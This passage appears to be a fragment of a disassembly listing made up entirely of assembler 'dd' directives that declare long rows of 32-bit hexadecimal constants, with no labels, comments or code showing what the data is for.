		dd 0E68A2550h, 0A491BF0Eh, 6C2323BFh, 0CB9788DAh, 80E2049Fh
		dd 540BA52Eh, 15E64A15h, 0E2C8FE70h, 0E4AF660Ch, 0BDD7597h
		dd 1084F771h, 0FD83CF1h, 88BA341Eh, 0D141DC0Bh,	360CAFE5h
		dd 0D23657CBh, 0C3372BB2h, 3D70BABBh, 0CB109F5h, 86F1FF13h
		dd 0A5EF696Fh, 0B78373Eh, 0D548CFFBh, 0C34134E2h, 25CBCBB7h
		dd 0A5CE3FAEh, 0C17505E9h, 0EB91933Ah, 32A169D1h, 10CCA241h
		dd 7FC642C3h, 0C0513303h, 3990FB30h, 66022A35h,	10B2EF8Ch
		dd 0A31F3CDDh, 1B0D3553h, 0D46B0A00h, 0B82C5CAh, 0BFF754B4h
		dd 15338DD8h, 8C776EA2h, 0C69583FBh, 0BDADBCD5h, 972DC2B9h
		dd 275DB6E5h, 6A3744E8h, 0C61E392Ah, 0D4981D83h, 5D5CDBD0h
		dd 0B91CA89Ch, 0F39F7947h, 0A8706A19h, 25064BEDh, 2BA272FDh
		dd 0BA83428Bh, 7553D5C6h, 0D091EDB9h, 8630D734h, 922EE88Ah
		dd 31E01B30h, 375299F7h, 0CC7976EEh, 351A3C6Dh,	25338005h
		dd 0F4E292DCh, 0CA20BEA6h, 0E663347Ch, 96F91425h, 3EE6C221h
		dd 3F9A5B2Bh, 0B603D6A4h, 4C9E2DD1h, 59D10010h,	0E8064D0h
		dd 6703AAC3h, 4AB8E39Ah, 0EBE2A214h, 0A47B00EEh, 7A7B5526h
		dd 93EAB799h, 5C5FC2CFh, 28D7FD61h, 45A7CC40h, 5AF4C946h
		dd 6D85C7AAh, 603D7DAEh, 475FEEE7h, 4F5A2F28h, 436A965Eh
		dd 5596AE10h, 538D30AAh, 91D9461Fh, 297ADA6Eh, 0E34821h
		dd 9D53A538h, 0B082233Bh, 8CDBDA9Bh, 3AC4A720h,	90CC5BFCh
		dd 47E7068Fh, 5C88D179h, 9C48925Fh, 0B9FBF2C5h,	0B3C3845Ah
		dd 0AA9E3DE6h, 0FF4ECE7h, 0CBEA1183h, 64C31A27h, 0D9FFAE74h
		dd 0DFED062h, 0E7886B55h, 9D16DF0Ah, 99B37BA3h,	48547935h
		dd 688E73DAh, 6FDA8FF0h, 9B7AFA24h, 0C6C3330Dh,	0F1E970EDh
		dd 7200C5D2h, 2DE60195h, 0DCC0F89Dh, 0A8AEA560h, 0D9A6406h
		dd 0EF3D1D97h, 15A01934h, 712A04B4h, 86ECF1C2h,	882CC31Ch
		dd 54EF1D54h, 7C57DEE5h, 1ADC8F52h, 0B3361AC6h,	6701552Dh
		dd 6CF312B6h, 5CD8ECC8h, 0EAE44CDEh, 6B17DC35h,	0DC107ADh
		dd 90953FE2h, 906305BDh, 7AADD102h, 0D6E8663Bh,	58366423h
		dd 0D5437157h, 445B6DCh, 0E42962B2h, 2F69FCDDh,	9548D294h
		dd 0A5D91416h, 8B5E2F5Bh, 0C885315Ah, 0DF67C252h, 6C0579B6h
		dd 5C90F56Dh, 0BBCA2018h, 6E14BA3Bh, 0FA5093F1h, 166770EFh
		dd 88C5BD07h, 6C14CF48h, 53BF057h, 0CA90B5E6h, 0B064985Bh
		dd 1F85225Eh, 7DE76BD0h, 6203F7DDh, 0E4D74A5Dh,	0CA45BEDCh
		dd 8296AC45h, 2ED8E99Ch, 6C09B213h, 1D42AAD3h, 0F28D6996h
		dd 0AD0BFAFEh, 0A8CD6E4Fh, 2CA14D33h, 0CF0EE860h, 19C3C69Fh
		dd 0D32328EDh, 0CA12B5F2h, 5F63A7E3h, 26907E59h, 9964C26Ah
		dd 0B5E6B60Eh, 99E04C6Ch, 732871F4h, 0F5530B87h, 50F28028h
		dd 11EF757Bh, 0E5A2C879h
		dd 52D0EA35h, 1D2CA4EEh, 3E9D7DFh, 19BFB049h, 0D05FF267h
		dd 0E6340D4Bh, 21D38160h, 0AAFB4E6Ah, 0FCFF0A16h, 0A25A70C1h
		dd 0E052DC32h, 119D51h,	92CCDC3Ch, 0E265A2AEh, 0AF9F78DDh
		dd 0A52D2B0Bh, 87E1210Eh, 9AC293FDh, 745E32F8h,	0D382052Ch
		dd 545C04DDh, 0C965C9Fh, 9763D899h, 0A15AFFA9h,	0E7CF33h
		dd 3CCF28A1h, 0E62FD24Bh, 647F8E26h, 0BAC8720h,	0F44A80B3h
		dd 73ADB3D9h, 0F2485D7Dh, 0A0214046h, 3F5CEA32h, 0CF6194B7h
		dd 4363C299h, 17C70596h, 0A414EEC4h, 438F40B5h,	0D39286DCh
		dd 9285125Dh, 27401209h, 0A983A43Ch, 0FF211370h, 0BF81F031h
		dd 16AEE798h, 8700C97Fh, 0B3B326E6h, 66DA2356h,	0EDB3C0F5h
		dd 0DD2080B3h, 0CE0EA009h, 2924A965h, 0BE1E6BA6h, 58D0F55Ch
		dd 49841FE5h, 0AF6B6818h, 0FA70209Fh, 536835F8h, 7CE053F6h
		dd 632D3342h, 0EE341EC2h, 6D5242D6h, 0A8AFEF4Dh, 0B9D28043h
		dd 9E239985h, 20665DB7h, 243743C2h, 403F88A1h, 224336FBh
		dd 85C9AC2Dh, 90EAF61Fh, 3018ED08h, 0E70367B0h,	0B51A621Fh
		dd 2DA67DF6h, 8AC9B48Dh, 8A6F2D2Dh, 0E3A97680h,	0C54EF0C3h
		dd 343E30DAh, 3E4FE6Ch,	5DA9788Dh, 3FDA36F7h, 0BA5FD618h
		dd 80BB98BAh, 0B16FAE86h, 6E721E54h, 0C8A2E4BAh, 0C30A8A38h
		dd 2D33C9A1h, 3EE97D59h, 0E727F195h, 0CE78B2EFh, 2F3D2BB5h
		dd 2E8EDDB2h, 0F4E6B740h, 77470237h, 4BAEAE33h,	0E52397EFh
		dd 38912C5Ah, 0D49FF74Fh, 0B316335Fh, 5BDD353h,	0CD1CA03Ah
		dd 0E1CCE5DCh, 737735CCh, 0B62B5DD1h, 0F3A39C8Ah, 0E4D13337h
		dd 0A8AD102Dh, 0E1757E9h, 0E619201Fh, 3C8F9F8Fh, 0CE60CF4h
		dd 0CE2EAB69h, 3AD30952h, 0D5C1CC75h, 0C2BDABh,	3DFDB9F7h
		dd 0DE37D6F9h, 51353839h, 9CC48381h, 6585195Bh,	0BD4E20B8h
		dd 0E57602A8h, 86D76A4Eh, 656CEEB7h, 0EE2339C5h, 0E6723B77h
		dd 0A1B02568h, 4CC03445h, 991289D4h, 0BE193848h, 8A476F8Dh
		dd 9A16D628h, 7A11596h,	3CB2CD6Bh, 4BC80554h, 38D941ABh
		dd 7A3D2D4Ch, 0E196806Ch, 0B1964DCBh, 20FC2491h, 0F6F75715h
		dd 4DA42475h, 0BA86AD9Ah, 5E783C2Eh, 0E0249D83h, 8667A4BBh
		dd 0A9769DC2h, 2CD0047h, 3E6B0C4Ch, 623EDD19h, 890F632Eh
		dd 293CF7F2h, 4839F9A6h, 2D84E10Ch, 885A9A16h, 86517B4Eh
		dd 29036B79h, 0C7962918h, 5CF2F69Ah, 0D458321Bh, 4A9CFE7Fh
		dd 698BCFA4h, 4322A850h, 7502C101h, 9EBB5B3Ah, 0C6C4333h
		dd 0CEE1BBDFh, 0DD7CD30h, 1282AE47h, 82765D24h,	4B381320h
		dd 72992ACDh, 8B4531E0h, 0DABE52A5h, 20F447C2h,	0E18093EAh
		dd 818BECCCh, 87E5D0FDh, 0B5E5562Ch, 326786C1h,	2B766A7h
		dd 9B941C7h, 92B124BAh,	0BC5D40F3h, 386C2D09h, 4D68E1C7h
		dd 0E17B2666h, 0B7152FDEh, 802C14FCh, 33648601h, 0DBB11007h
		dd 76964FAFh, 9C0E16DBh, 0EA975D4Bh, 0A2ECFFE9h, 5B8AFEA7h
		dd 35E5E24Fh, 0CDD5438h, 82147FBFh, 805354F2h, 714A9BACh
		dd 0B15270A8h, 0BA8655BEh, 0C8B40580h, 69886ECFh, 40D99A23h
		dd 3C2E8262h, 0BE87C853h, 0B53F2D7Fh, 48040968h, 9277CF5Dh
		dd 0C60F3F8Ah, 0C10FB5D2h, 0D5DA0326h, 8D7DBA86h, 8AAA32E8h
		dd 84EBAD14h, 4E2DC15Ch, 0DD4A1F9h, 3E1620EAh, 0E1EAFA60h
		dd 0B73EC388h, 9AEB83A3h, 54CAD15Fh, 0D80A53FAh, 412F6D26h
		dd 0BC44B08Ch, 31A2BA60h, 3AB6C712h, 7BBB45CFh,	33E411B7h
		dd 2F99F275h, 0CD3A96B1h, 52CAD3DDh, 5293786h, 0B0EDEC25h
		dd 8E00B34Fh, 0B13E4740h, 5602CCDEh, 0DA30D078h, 9973E31Bh
		dd 0C2AC23D3h, 0C6B21B62h, 0A9BAA103h, 0C7EF38E8h, 0A30B4F52h
		dd 3BF6610Fh, 542BDC36h, 0D9DF8B61h, 776A6C2Ah,	0C3281DA5h
		dd 2540A091h, 1C400C58h, 0C43E203Dh, 447039A9h,	1DF5EEE5h
		dd 2AFCE448h, 0E94B0DA4h, 0EE89FCABh, 6B1F834h,	0BA7939E5h
		dd 3AC6BC4Ch, 39ABA1C2h, 63AE6BC1h, 0DA08AA94h,	0D37E6C62h
		dd 14881931h, 0DAF8DFF7h, 76416545h, 4AE10F3h, 0D91EB718h
		dd 0B4B0E5ACh, 2196B112h, 0CF119427h, 74DAA6D3h, 4D546005h
		dd 595E0141h, 0CBB0F3ABh, 0E15B0380h, 0AECE7B63h, 61FB72A1h
		dd 0E6E4F429h, 315C4EB7h, 9F793C7Dh, 1A72DB64h,	3C0D65F1h
		dd 4A7A88CFh, 0BC801973h, 0A28F3BE9h, 0C1C938BEh, 0FF30B7D4h
		dd 4924C956h, 0F2363225h, 0B736825Eh, 0BE3CE31Dh, 0F900E1E0h
		dd 0EAC219D4h, 0E872731Fh, 78270A54h, 58DC74E3h, 0C09C7A35h
		dd 245DD6C6h, 48CC6022h, 0B5E131BDh, 0A7DB9211h, 6796E0FDh
		dd 26FAB65Ah, 8C07AE34h, 2523F219h, 66927E2Dh, 5B06ACF8h
		dd 0D665B17Ch, 6EFD5741h, 17678A2Fh, 0BF0B097Bh, 7457113Dh
		dd 0AC99CA0Dh, 0D4F89D54h, 0CBD06EF2h, 0F47612C5h, 0DA547DBCh
		dd 86E0B7E3h, 535C55CCh, 86FCB1EDh, 0CC5748CFh,	6D039644h
		dd 0A995EF95h, 0DF817772h, 0F5A9A25Fh, 7A8249E3h, 0D27C3D40h
		dd 287A8168h, 2EE4187Fh, 0D34DAAB9h, 0B3DF06CBh, 0A6A5028Bh
		dd 0C293CE1Eh, 0E640416h, 0C25396Eh, 0DCB73193h, 4BFFE23h
		dd 86561D1Eh, 24991BA3h, 0E95F61D1h, 3AFFDDB0h,	0B87FCEC3h
		dd 195609BFh, 4B242053h, 0F9546E96h, 6AA61918h,	0AA2784D7h
		dd 0B8B8F800h, 38F4ABB8h, 0F4FB470Ah, 549387A8h, 9A61E5E8h
		dd 9CA5D30Fh, 4E172C72h, 896484ECh, 813E6869h, 30DC9A53h
		dd 9F62DA80h, 816AFD45h, 4D157BEFh, 0A6212E2Bh,	0B21E86E5h
		dd 0EDCC8CA5h, 0AEDDEBB5h, 889E2C86h, 328A90ABh, 267D67C9h
		dd 9D8A8C9Fh, 64EEB2C2h, 8AAEFB6h, 65A3ECD7h, 223691FCh
		dd 939EEF59h, 5926F277h, 589722B7h, 81455E7Eh, 0B19D369Fh
		dd 0C564EEB2h, 6154081h, 9647F7E0h, 0A2BFCB67h,	0CFC01305h
		dd 4161D029h, 5E424B52h, 0FCC452A6h, 5F0F62DEh,	3EDA4470h
		dd 995C5613h, 0EFB0F12Dh, 0DC643450h, 3FEA6141h, 9CD139Eh
		dd 0B4068019h, 46F85B4Eh, 57C0E1BBh, 0DA07BE2Dh, 0DE649B34h
		dd 7A6D19F4h, 622BA9ABh, 672CA30Eh, 0F49D3226h,	0CCEEB150h
		dd 81311BA1h, 71952E9Dh, 5C67485h, 52B86B73h, 9740467Eh
		dd 0CBD99BCCh, 0C6D6A765h, 0CAB06FF0h, 0B7E1DBACh, 0F6A52CE6h
		dd 4A896EC5h, 55565BA8h, 4D820696h, 10B1D1AFh, 0BAC60089h
		dd 4CFA22B9h, 7E1AD2CDh, 0C292AA05h, 0CC22A964h, 65235F65h
		dd 4990461Fh, 0EC2FB394h, 0CEB0838h, 0D2A2CC55h, 5F995D1Fh
		dd 0C560EE8Eh, 9434D612h, 12F03B9Ch, 73D9A9ADh,	0CA95DFB7h
		dd 910A7F7Bh, 0D69FB44Ah, 0ED808FD7h, 3D23B921h, 96112B5Fh
		dd 50570927h, 0D99294D7h, 37D1290Ah, 1B381CF9h,	72A45B50h
		dd 6598A074h, 4379CE25h, 63B4A081h, 0C9F9D370h,	0A46DA1C9h
		dd 9C379D14h, 0BA10BB2Bh, 0CCF9C3F7h, 83B3F9FAh, 351697E5h
		dd 2B49AD23h, 0B840F014h, 3CC3B01Eh, 63F56F9Ch,	0DF17F3Ch
		dd 71CF0FACh, 72B4F228h, 0FFADAE87h, 5E98D184h,	0DBF19D12h
		dd 2C0C8A0Dh, 0B187C43Bh, 0D4E80429h, 9C155386h, 3BF25977h
		dd 2B4D2954h, 842F93B0h, 0E6289472h, 0B9DBE07Eh, 0A9A2F7EAh
		dd 0B5DB1FA6h, 0DF8B34C3h, 4749DD49h, 0FB6E97B3h, 60967DF8h
		dd 0DEFA8CA6h, 0F95E3657h, 6B410D27h, 4F500F37h, 26E76D84h
		dd 4331298Ch, 0D0AF56D8h, 69407298h, 0B5399173h, 0DA497B7Ah
		dd 3FD1CFF1h, 291D1D29h, 9A259F6Bh, 0FBC9DF69h,	7FD7D621h
		dd 0B611D9DEh, 9C499600h, 0FEC0D2B3h, 0AE3DB85Fh, 7E352BAh
		dd 7C08593Dh, 14375BEBh, 4A6199D6h, 8A81F687h, 9C4A096Bh
		dd 0A1612005h, 13FA6725h
		dd 2F0B0641h, 8F6771D0h, 0D9E9A451h, 5DAB68BBh,	0DAD8E3CDh
		dd 0D5D884Fh, 75FE8C8Ah, 0A502FBB5h, 0E6B9F2CDh, 0E656B6F9h
		dd 0D6AD4B72h, 0BE749387h, 0F8E6DD76h, 8A4C4B71h, 5860D55Ah
		dd 0D0A39696h, 5CAF6EDFh, 16FDE9D8h, 0C50FDCB8h, 0EF393670h
		dd 31D858C6h, 1EB6CADAh, 0F49EF5Bh, 62040BDh, 8FA2AF34h
		dd 1D7E46F5h, 76BDD4E8h, 4715C86Fh, 0A9EFCD12h,	0E7F844CDh
		dd 0CD4EF837h, 0E78C7F81h, 0B20F5DFh, 3B9703C7h, 0B3B93368h
		dd 798FD806h, 8C78550Ah, 0A597AC44h, 0C33BE42h,	0FCDA0573h
		dd 7ED83CA4h, 5B8D7DDFh, 5B3EB6ACh, 0D14257ABh,	1C077226h
		dd 6D1D21Ah, 4613D3D2h,	0E70E67CFh, 3AF60DBEh, 0A2C56F0h
		dd 8C36D6BBh, 6043BECCh, 0D12C22D0h, 4FAFA8FBh,	43E80552h
		dd 0A59C71CFh, 98C275DCh, 3E5208CDh, 0A73FF3CBh, 0F5E90899h
		dd 4625CF78h, 0FF89B391h, 0FF787ED8h, 15A47754h, 7B9D56F8h
		dd 638D7D28h, 5CC3D02Ah, 75172217h, 0AFB842AFh,	2B98F3E4h
		dd 0F5A16264h, 52420DB5h, 8A5E490Ah, 0A78C3900h, 0FC95DFE6h
		dd 5FC06DE8h, 42AEA86Ch, 3BE21CEAh, 0B7DA3D4Eh,	0F1F78105h
		dd 4EC33E8Fh, 1D4D4B22h, 16ADF533h, 0AB97D8D8h,	47B97353h
		dd 6CA59826h, 598C9A84h, 0DCD3A747h, 3AA611B3h,	0B74D213Ch
		dd 0C81882DAh, 5518FA24h, 0C3441D9Bh, 6567DD8h,	77591057h
		dd 0C1A65251h, 2B4AD319h, 2DC3A7E4h, 345C8D58h,	0BAF40801h
		dd 0D8CEE07Eh, 0AD0DCA27h, 0BAECD207h, 0E4A47E57h, 0C01669B9h
		dd 7B87236Dh, 0EA56D78Ah, 0AB64DDD2h, 39724298h, 0D51E74F4h
		dd 60ECEECCh, 0ADD2EFEDh, 61ED5392h, 472E5986h,	0F0166211h
		dd 0CBC6336h, 0E89FB2D8h, 9069A1C8h, 4AF2C0DEh,	6BDE8DA2h
		dd 0A4811303h, 71E0FF6h, 9A174200h, 0C6E377Eh, 5BC3A9AFh
		dd 78A8526Fh, 0AF9441D7h, 0BA645F7h, 0D66AEEB2h, 0FFE685DFh
		dd 3215AA0Eh, 377014F1h, 0B887B862h, 0BE7E83D3h, 0BC511CF4h
		dd 50227CF6h, 0EA522B4Ah, 7D135E7Ah, 0C0753B8Ch, 0E96DCFB7h
		dd 0F195E335h, 5915FC87h, 98AFB869h, 0D66F2A68h, 0D3F19883h
		dd 68CCB9F0h, 1ECA430Fh, 1E6C3423h, 50000C1Eh, 412BDE74h
		dd 0F656D44Eh, 9BB02A2Fh, 60B57082h, 71A5F57Ah,	383DE3BAh
		dd 0F676622h, 13B84EFEh, 7BBEE602h, 29CA9809h, 0C9E08F85h
		dd 9544CBBCh, 2D61FB50h, 0D2425D79h, 64D32DD7h,	0CD6C2A5Fh
		dd 12801016h, 0C6552443h, 0AA7DBD59h, 8BD22D77h, 58A1D50Bh
		dd 0F0251C8Ch, 0EAF52BCFh, 2D8F74EEh, 0E9CBE7C3h, 4BAEB68h
		dd 6EEE689Ah, 1EADBB61h, 44ED7C00h, 55E25FB7h, 32C50819h
		dd 0C8218DB7h, 8526FC67h, 92B1E86Ah, 0CDC5FB57h, 99EC8503h
		dd 12878501h, 61A60DFFh, 0B0E7C1DDh, 2ADFE5B9h,	76EB61E8h
		dd 0BA9885B0h, 16B75D61h, 42CF2B05h, 0FD7BDE53h, 0C5E29D79h
		dd 919D8CF2h, 0DA82E59h, 1258B12Eh, 0A5FDD8B0h,	0BFD1FAD0h
		dd 0FAC6456Ah, 0E802AA81h, 345A71CDh, 16B243CAh, 823D2E22h
		dd 0E59E19B3h, 0E07A067Dh, 8436EA94h, 0DEB44500h, 0A54F30A2h
		dd 72F809A2h, 400A1D39h, 880995C2h, 588C1CEBh, 17303D5Dh
		dd 0E9A17F05h, 8BC6C650h, 9888714Dh, 0CD754117h, 0AE5EAFA2h
		dd 0D43A36EFh, 1F0E42FFh, 0C7435E1Fh, 0A8258A65h, 32B29BECh
		dd 74D1742Ah, 2FD5CE1Bh, 0AE552358h, 0AEBB3C07h, 6157372h
		dd 1F1B305Bh, 0EB1E80D5h, 46CE56Ch, 60811827h, 0CEBB1935h
		dd 0CDC544Ah, 16277864h, 0D3610E3Fh, 849F2E80h,	1A93A8FCh
		dd 1714B69Ah, 1A8E75B2h, 6B513AC2h, 1522400Ch, 509AB195h
		dd 0C7346B5Ah, 0AAC25005h, 6D916442h, 0D8F6AF9Fh, 0C2C8189h
		dd 91E61955h, 2C2B3EC5h, 0CCAEEBA4h, 0F58EE6F0h, 28250B56h
		dd 7D41A48Ah, 771C14C5h, 0DD055E40h, 6C8DE56Eh,	17647913h
		dd 7A8763B2h, 4139F471h, 9D9EDCADh, 2E1B615Bh, 0F5598427h
		dd 3D9B6AE2h, 0CF7BB557h, 99F6BE85h, 18D176Eh, 44C93B64h
		dd 0D6523CCFh, 0ACFDA3FDh, 0A783B35Ah, 88DD913Eh, 0E8D53385h
		dd 3CFC1D56h, 0C8BEB9CAh, 36F8B3C0h, 49C6423Bh,	6E55DB81h
		dd 7D57C19h, 9CB99E17h,	0ED34C563h, 61900399h, 1D42F72Eh
		dd 0FD233B0Dh, 6D20AFFBh, 8998CE4Fh, 90C62DF3h,	27AA2F2h
		dd 5A2E9FC5h, 0CC6F83D7h, 6EB8282Eh, 0C290A1DDh, 79B16136h
		dd 70DD7288h, 0AC09D34Ch, 63B016A4h, 5C4DCCF1h,	34E53DDEh
		dd 0DF0E2D86h, 7A25605Fh, 4A67A28Eh, 0B9414EA2h, 2621EE55h
		dd 30444F14h, 1C8DAF97h, 0A832731Fh, 0A7B63D37h, 8C132A3h
		dd 6A97CDACh, 0BEE9F75Bh, 47E78BCDh, 5EAF0171h,	0C575525Dh
		dd 2B2C2F7Ah, 0AEE3C917h, 0E5523514h, 5527E1Fh,	143FA816h
		dd 0B269FC54h, 6D08D8E8h, 53BFCDB5h, 0E76F1FDCh, 198077F7h
		dd 9FFF4C72h, 7F8BF7F7h, 0D5B0138h, 680AB4AFh, 3EEC7B51h
		dd 0EC0DF09Bh, 9D1AC1D1h, 980EE44Fh, 0D10429ECh, 7AE9DB6Bh
		dd 0A41C089Dh, 0CBE820E1h, 395F531Fh, 1986E9C8h, 586F46E2h
		dd 0E75711B1h, 898B59A8h, 0B5CA8165h, 14096B73h, 2A8293EFh
		dd 0F890B8D4h, 83D52A20h, 0BBEA44DFh, 681441F4h, 0A06D1A7Bh
		dd 9FEFD4B5h, 0DCAAF52Eh, 8044DC1h, 0AA3C02A0h,	0AB7DD8EBh
		dd 0E0B346F9h, 0BAA1C8Fh, 1E479837h, 3889B053h,	72DE50B5h
		dd 9BECA9FEh, 0EDF4B153h, 0F7144C1Bh, 2B704DCBh, 0A4E1980Fh
		dd 0AEF7997Eh, 1A0AE23Ch, 37F55589h, 6157A3A3h,	5C543304h
		dd 9654B9F0h, 83ABC3B8h, 0D1938004h, 0BDBB6EECh, 0E6AA3BDh
		dd 750A8470h, 0FE3804D4h, 0F48C2E53h, 1A4DDB64h, 0C7982D3Fh
		dd 0B1044DAh, 0AB88587Ah, 764523A4h, 75A760C6h,	0B48B5819h
		dd 3AF9BA8Ch, 9FB14274h, 0B1DA20F4h, 0F99F94E3h, 5547200Dh
		dd 0B41590D0h, 732EAC9Bh, 5DF2D901h, 0EEED171Bh, 0E195FDB8h
		dd 0A2DE045Eh, 4ED1484h, 0A5AB167Fh, 0D3CE115Bh, 0AD2CE8CFh
		dd 77871C40h, 32C73391h, 0E634EC67h, 28F65B97h,	0D54F66CBh
		dd 1C036B1Fh, 0DA101C8Fh, 0E99A6C9Ah, 74A29E13h, 1E08883Fh
		dd 0ED639B2Bh, 271282C5h, 866D013Dh, 0D08429A6h, 5BE51453h
		dd 6C789FCFh, 4DECFF7Ah, 0FB4A8BE4h, 61119D8h, 92A250Bh
		dd 0B5F3D287h, 7ABE8C50h, 0A22CD6DCh, 6C833FA5h, 256F2FC9h
		dd 0D3C3C491h, 0C320342Bh, 0C3BD4683h, 0D50BD6A0h, 90DB5AE2h
		dd 2F71D6A5h, 0E9B8748h, 0BD856038h, 0FAE33060h, 34550CEFh
		dd 0E02063Dh, 4CC33B73h, 0E8AB0A55h, 38F994E2h,	0F66FDD39h
		dd 0DB33B5FBh, 0D0258D2Ah, 10E72BF3h, 2044D412h, 11F49C90h
		dd 88D649h, 28CD339Fh, 0DBE7EB43h, 76EE2DDEh, 0B135A388h
		dd 25B60415h, 0E433DFC5h, 5C4EBDFFh, 4218F95Ah,	8BCB41F5h
		dd 0F605DC07h, 7A1431Fh, 0B619C1BFh, 0B129C5D8h, 5B9D06Eh
		dd 7188A1E0h, 484FA22Bh, 5C8DA597h, 0EE30FF6h, 0ADB81128h
		dd 82A3BCA6h, 62985381h, 0C429EB8Bh, 8AAF3D3Ch,	0A117CF61h
		dd 0D6519B24h, 0F55E2DF6h, 8463E819h, 3A7F19D0h, 0DED0B65Bh
		dd 6534BD09h, 4346ACA3h, 117F721h, 9042A551h, 3393BC5Dh
		dd 0E7F12844h, 0D29CBFEDh, 2BE1EC0Dh, 0A8EF3321h, 78BA33DFh
		dd 0FD237933h, 3D894B15h, 0BE7CC45Bh, 0CD67BBE0h, 0C1C75422h
		dd 90FD7C6Ah, 36ADD830h, 0D1AE4719h, 640636F5h,	0F1C56BBBh
		dd 1003C805h, 7EABAF0h,	34EF9971h, 65101431h, 25DFBE8Dh
		dd 16718D31h, 105FBB85h, 76A4BD05h, 9FA3792Fh, 7FBFA050h
		dd 29967349h, 0F560F800h, 8C88088Bh, 8E5A2304h,	0D409B5B8h
		dd 1072C7E7h, 0B378D447h
		dd 0F2CC56AEh, 630D9936h, 8BAD6F99h, 0D4C9C3F5h, 0AE2886DDh
		dd 8DB2115Bh, 98DAC898h, 0CB28E27Bh, 8A59831Dh,	0E3AC6771h
		dd 36CC820Ch, 0C3B234Dh, 0FC677E3Ah, 4E5E888Fh,	9FF869CBh
		dd 0E7E5162Fh, 6A349EA0h, 16A82B1Bh, 409D24B7h,	122FCD83h
		dd 5616FB73h, 932FD8B6h, 0B955AFF6h, 0F8132A32h, 0A68D54Fh
		dd 0BAA5B4E0h, 5B129867h, 0F539D9B9h, 0CA5460B0h, 0DE855263h
		dd 0E9C34AAh, 6180AA5Eh, 7BD77A48h, 0FE9D3745h,	61622331h
		dd 3D2FD5Ch, 63BAA626h,	0DB3692CAh, 3392297Bh, 41A5CE86h
		dd 13BB3F3h, 0C442B483h, 912149C3h, 0CBF090BEh,	0BFD9415h
		dd 12A271F7h, 14EFD0F4h, 5955A42Bh, 0B25EE919h,	1E7477B9h
		dd 63C40B28h, 3D5982F6h, 46A8D4E8h, 9334C7C2h, 7299B0CFh
		dd 0B01854E6h, 0D2C03C88h, 50B9EA04h, 0CA544A7Eh, 81FC31D0h
		dd 0B30B5579h, 396EE2FAh, 6214824Dh, 6B75F35Eh,	0B89C46AAh
		dd 827FAEBEh, 0A69CD2B1h, 19567412h, 0BD1DE17Fh, 4F6EB66h
		dd 1C31F644h, 3656D94Eh, 80728C36h, 1BA0C66Fh, 0F13C8C6h
		dd 853809F8h, 0A6EFFAF6h, 0E5DDFE3Fh, 5B2795ECh, 8047B30Ch
		dd 0E288D33Eh, 1263C65Eh, 0F8D742ABh, 0AC124096h, 0E24DD512h
		dd 7AF21EE9h, 4325CBAh,	4C8175D8h, 28061617h, 419921F0h
		dd 1437C694h, 0CBFE96A3h, 63295B80h, 8A88E8A1h,	0E4230D12h
		dd 57406B2Eh, 6A774BB4h, 127E1570h, 2E80E5C0h, 3C4F833Ah
		dd 3EA0A9ABh, 5F85CC8Eh, 747BBE17h, 1E225F5Eh, 976D2781h
		dd 1A86D4h, 8CD7B3A2h, 0A2068D14h, 0C199CF22h, 329E672Dh
		dd 0AC567D6Ch, 285D869Fh, 82E48ACEh, 4FBF6E68h,	5B82F96Eh
		dd 0B9CD5C69h, 1D424658h, 3D88AA5Ah, 0D180804Ch, 3610E84Bh
		dd 0E440DE91h, 7C2E2483h, 0DB0F6D8Dh, 1C79F24Eh, 1AB72142h
		dd 0A15C716Fh, 0CE9EC9Dh, 45B2D935h, 0B341F5Ah,	0E0315F7Bh
		dd 33897728h, 6F8BAA06h, 416C6130h, 0DD98FD42h,	0E5A0D9E6h
		dd 0E50370FDh, 7FD1F42h, 0E91DEB6Dh, 94B37AB6h,	0C3B7DAA5h
		dd 84EC0AD8h, 7A627638h, 5C8BE250h, 0BB16205Dh,	3FE8635Bh
		dd 0A02D3C8Bh, 609FA27Fh, 79C1A1DDh, 6351FCDCh,	219ED174h
		dd 752342C1h, 0B2DA9D61h, 13C307AEh, 4FA5B87Bh,	0AE7F9534h
		dd 0CBDE9D36h, 76A3A668h, 0DCD2F189h, 6E956C76h, 2F6B4B99h
		dd 1784EE81h, 7393DF8Bh, 8928643Ah, 9D0DC290h, 0AC09A13Fh
		dd 0C534ED4Eh, 49F1D6ECh, 187FA428h, 2546A6BAh,	0D1F5DFB7h
		dd 2D08199Ch, 19D7AD9Ch, 0F7DEF585h, 7D5D31E5h,	0E6B32E0Dh
		dd 3967A286h, 6653C8D2h, 0AD95397Bh, 4A51EB6h, 0DADA729Dh
		dd 373F12CDh, 16B869ABh, 6654B2Ch, 0A3E2B476h, 81CD1CFBh
		dd 1E455DC9h, 0AEFBFAA8h, 3D5061F3h, 0F5DB2D67h, 335D9100h
		dd 0D5DCEEA1h, 46EF8143h, 203715A5h, 266E656h, 6407DDADh
		dd 38304531h, 0BA02D4DEh, 74EDD60Fh, 0F2F7318h,	14FD8399h
		dd 0A9A0145Dh, 3D967DE9h, 5272B3B4h, 0FE8F9E7Ah, 7D6E2299h
		dd 0C6949F8Dh, 684EF4CAh, 56B1B62Eh, 0B2DB4C35h, 0D5B23C9Ch
		dd 9E6E1B7h, 0E6E4F57h,	750A511Ah, 0B493CA69h, 0D90DC256h
		dd 0E3DD90CCh, 6C4FC9D7h, 6A407A36h, 3AA22E93h,	1BDED8D2h
		dd 0FAD76431h, 543A5A9Bh, 0C39B8B3Bh, 1DB3ECC0h, 3F4553BEh
		dd 88BDA1AAh, 495288FAh, 0DEB464D8h, 88B2AA48h,	8C22E13Bh
		dd 0EDCB5CA6h, 83D53AAEh, 0C3BB25EBh, 0E164B2F9h, 5E6B3823h
		dd 0C3977FEEh, 0FC4618F9h, 0A74BBA83h, 0CD5EAB7Ah, 0CDBE1D02h
		dd 55F99560h, 0CDB445DBh, 0CB2D0B18h, 0AC392426h, 52379F77h
		dd 0A95212A7h, 21121628h, 7AAF474Dh, 791A2786h,	6C6CEE8Ah
		dd 0A23C80A3h, 92F24849h, 0D4F89EEDh, 846DB68Ch, 0E42797D3h
		dd 5F33E7B3h, 78A4ED74h, 3B243D91h, 12B0968Ah, 576300BCh
		dd 2FDCFF93h, 3BFCE3F2h, 0A6BFA6F7h, 0D04A227Ah, 97440C5Fh
		dd 44F91CF6h, 8EACEED0h, 82168F72h, 1A38997Dh, 39079127h
		dd 37686F96h, 0A2D274Bh, 0EFDDA9C4h, 0F78489D0h, 0C671C9D9h
		dd 0DF4B344Dh, 7EC9C414h, 7037309Ah, 937AC1CEh,	520D3F51h
		dd 9B3D7BF1h, 54A0CE7Dh, 4E0B6C80h, 61FCBFF8h, 23D361A3h
		dd 8A262141h, 74115032h, 959639A2h, 0A34077E2h,	8638096Fh
